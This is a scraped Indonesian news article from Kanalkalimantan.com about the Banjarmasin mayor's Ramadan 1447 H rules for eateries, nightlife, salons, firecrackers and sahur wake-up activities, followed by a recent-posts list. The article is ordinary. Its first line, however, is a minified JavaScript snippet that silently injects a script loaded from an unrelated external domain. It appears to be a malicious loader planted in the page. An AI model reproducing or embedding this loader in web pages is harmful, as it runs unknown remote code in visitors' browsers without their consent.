(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan kegiatan masyarakat selama bulan Suci Ramadan hingga Hari Raya Idulfitri 1447 Hijriah.

Sebagaimana tertuang dalam Surat Edaran Nomor 200.1.3/198-BAKESBANGPOL/II/2026, ada beberapa aturan yang diterapkan.

Pertama, restoran, rumah makan, warung, cafe, dan sejenisnya diperbolehkan menjual makanan dan minuman secara take away dengan cara dibungkus atau dibawa pulang.

Baca juga: Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

Wali Kota Yamin menambahkan, catatannya adalah pintu atau area tempat usaha hanya dibuka sebagian kecil saja.

“Tempat makan dapat membuka tempat usaha mulai pukul 17.00 Wita untuk melayani makan dan minum di tempat bagi yang akan berbuka puasa,” ujarnya, Rabu (11/2/2026).

Warung makan dilarang melayani makan dan minum di tempat selain pada jam ketentuan yang disebutkan dan waktu berbuka puasa sampai imsak.

Baca juga: ‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

Dalam edaran tersebut, beberapa tempat hiburan seperti diskotik, karaoke, pub, bar, biliar, serta penjualan minuman beralkohol dilarang beroperasi pada bulan Ramadan, satu hari sebelum (H-1) bulan Ramadan, serta satu hari setelah (H+1) Hari Raya Idulfitri.

Teruntuk usaha toko oleh-oleh (souvenir kuliner), klontong, penjualan makanan kering dan sejenisnya yang tidak melayani makan dan minum di tempat bisa membuka usahanya seperti biasa.

Bagi usaha salon kecantikan, spa dan pijat sejenisnya dapat menjalankan usaha dari pukul 10.00-17.00 Wita, dengan syarat tidak boleh menjual/memberikan makanan atau minuman.

Baca juga: Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

Masyarakat tidak diperkenankan menjual atau menyalakan petasan selama bulan Ramadan. Aktivitas “bagarakan sahur” dibatasi mulai pukul 03.00 sampai 04.00 Wita dengan ketentuan tidak mengganggu ketenangan warga setempat. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Muhammad Andi

Recent Posts

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

8 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

8 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

2 hari ago

This website uses cookies.